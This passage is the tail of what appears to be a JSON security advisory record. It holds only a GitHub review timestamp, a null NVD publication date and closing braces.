    "github_reviewed_at" : "2026-06-19T21:42:32Z",
    "nvd_published_at" : null
  }
}